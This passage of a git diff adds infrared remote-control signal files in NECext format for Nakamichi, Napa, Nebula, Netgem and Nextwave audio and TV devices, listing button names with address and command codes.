00 00 00 +command: 80 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 81 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 82 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 83 00 00 00 +# +name: TUNER_SEEK_^ +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 84 00 00 00 +# +name: TUNER_SEEK^(TAPE2) +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 84 00 00 00 +# +name: TUNER_SEEK_V +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 85 00 00 00 +# +name: TUNER_SEEKV(TAPE2) +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 85 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 86 00 00 00 +# +name: TUNER_AM(TAPE2) +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 86 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 87 00 00 00 +# +name: TUNER_FM(TAPE2) +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 87 00 00 00 +# +name: TUNER_PRESET_^ +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 92 00 00 00 +# +name: TUNER_PRESET^(TAPE2) +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 92 00 00 00 +# +name: TUNER_PRESET_V +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 93 00 00 00 +# +name: TUNER_PRESETV(TAPE2) +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 93 00 00 00 +# +name: TAPE2_REC +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 94 00 00 00 +# +name: TAPE2_PLAY_> +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 95 00 00 00 +# +name: TAPE2_PAUSE_ +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 96 00 00 00 +# +name: TAPE2_STOP_[] +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 97 00 00 00 +# +name: SPKS_A +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: C0 00 00 00 +# +name: SPKS_B +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: C1 00 00 00 +# +name: SPKS_A+B +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: C2 00 00 00 +# +name: SPKS_OFF +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: C3 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: C4 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: C5 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: C6 00 00 00 +# +name: TUNER(TAPE2) +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: C6 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: C7 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: C8 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: C9 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: CA 00 00 00 +# +name: TAPE_3/VCR +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: CB 00 00 00 +# +name: TAPE2_FFWD_>> +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: D4 00 00 00 +# +name: TAPE2_REW_<< +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: D5 00 00 00 +# +name: TAPE2_CUE +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: D6 00 00 00 +# +name: TAPE2_R.PLAY_< +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: D8 00 00 00 +# +name: TAPE2_AZIMUTH_> +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: D9 00 00 00 +# +name: TAPE2_AZIMUTH_< +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: DA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir new file mode 100644 index 000000000..aa3da085e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE1_FF_>> +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 0C 00 00 00 +# +name: TAPE_FF_>> +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 0C 00 00 00 +# +name: TAPE1_FFWD_>> +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 0C 00 00 00 +# +name: TAPE1_REW_<< +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 0D 00 00 00 +# +name: TAPE_REW_<< +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 0D 00 00 00 +# +name: TAPE1_CUE +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 0E 00 00 00 +# +name: TAPE1_REV_PLAY_< +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 11 00 00 00 +# +name: TAPE1_REC +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 14 00 00 00 +# +name: TAPE_REC +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 14 00 00 00 +# +name: TAPE1_PLAY_> +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 15 00 00 00 +# +name: TAPE_PLAY_> +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 15 00 00 00 +# +name: TAPE1_PAUSE_ +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 16 00 00 00 +# +name: TAPE_PAUSE_ +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 16 00 00 00 +# +name: TAPE1_STOP_[] +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 17 00 00 00 +# +name: TAPE_STOP_[] +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 17 00 00 00 +# +name: TAPE2_FFWD_>> +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 8C 00 00 00 +# +name: TAPE2_REW_<< +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 8D 00 00 00 +# +name: TAPE2_CUE +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 8E 00 00 00 +# +name: TAPE2_REV_PLAY_< +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 91 00 00 00 +# +name: TAPE2_REC +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 94 00 00 00 +# +name: TAPE2_PLAY_> +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 95 00 00 00 +# +name: TAPE2_PAUSE_ +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 96 00 00 00 +# +name: TAPE2_STOP_[] +type: parsed +protocol: NECext +address: 5C A1 00 00 +command: 97 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir new file mode 100644 index 000000000..531635ac3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_DISC +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 8F 00 00 00 +# +name: CD_DISC_SCAN +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 93 00 00 00 +# +name: CD_<< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C1 00 00 00 +# +name: CD_< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C2 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C5 00 00 00 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C6 00 00 00 +# +name: CD_>> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C7 00 00 00 +# +name: CD_> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C8 00 00 00 +# +name: CD_PAUSE_ +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CB 00 00 00 +# +name: CD_RANDOM +type: parsed +protocol: NECext +address: 67 00 00 00 +command: DB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir new file mode 100644 index 000000000..578c7bb47 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 00 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 01 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 03 00 00 00 +# +name: TUNER_SEEK_UP +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 04 00 00 00 +# +name: TUNER_SEEK_DOWN +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 05 00 00 00 +# +name: TUNER_AM +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 06 00 00 00 +# +name: TUNER_FM +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 07 00 00 00 +# +name: TUNER_PRESET_UP +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 12 00 00 00 +# +name: TUNER_PRESET_DOWN +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 13 00 00 00 +# +name: TAPE_REC +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 14 00 00 00 +# +name: TAPE_PLAY_> +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 15 00 00 00 +# +name: TAPE_PAUSE_ +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 16 00 00 00 +# +name: TAPE_STOP_[] +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 17 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 44 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 45 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 46 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 47 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 49 00 00 00 +# +name: TAPE_FFWD_>> +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 54 00 00 00 +# +name: TAPE_REW_<< +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 55 00 00 00 +# +name: TAPE_CUE +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 56 00 00 00 +# +name: TAPE_PLAY_REV_< +type: parsed +protocol: NECext +address: 5C 00 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir new file mode 100644 index 000000000..657ef6fda --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C0 00 00 00 +# +name: rw +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C1 00 00 00 +# +name: prev_track +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C2 00 00 00 +# +name: memory_clear +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C3 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C4 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C5 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C6 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C7 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C8 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C9 00 00 00 +# +name: call +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CA 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CB 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CC 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CD 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CE 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CF 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D0 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D1 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D2 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D3 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D4 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D5 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D6 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir new file mode 100644 index 000000000..f8ccf891b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_Z +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: P/N +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: DIGEST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: R/L +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: PBC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir new file mode 100644 index 000000000..61fcf34a9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir @@ -0,0 +1,332 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: AD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: CHAPTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: KEY_ZOOMOUT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: KEY_ZOOMIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: CAPTURE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_WWW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: KEY_EMAIL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_PHONE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_PC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir b/assets/resources/infrared/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir new file mode 100644 index 000000000..8445ea4a4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 41 00 00 00 +# +name: DIRECTION_UP +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 42 00 00 00 +# +name: DIRECTION_DOWN +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 43 00 00 00 +# +name: DIRECTION_LEFT +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 44 00 00 00 +# +name: DIRECTION_RIGHT +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 45 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 46 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 47 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 48 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 49 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 50 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 51 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 52 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 53 00 00 00 +# +name: PICTURE_IN_PICTURE +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 54 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 55 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 56 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 57 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 58 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 59 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 60 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 61 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 62 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 63 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 64 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 65 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 66 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 67 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 68 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 69 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 70 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 71 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 72 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 83 33 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir b/assets/resources/infrared/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir new file mode 100644 index 000000000..e2ad1ea13 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 0A 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 0C 00 00 00 +# +name: H/V +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 12 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 15 00 00 00 +# +name: TUN+ +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 16 00 00 00 +# +name: LNB +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 17 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext 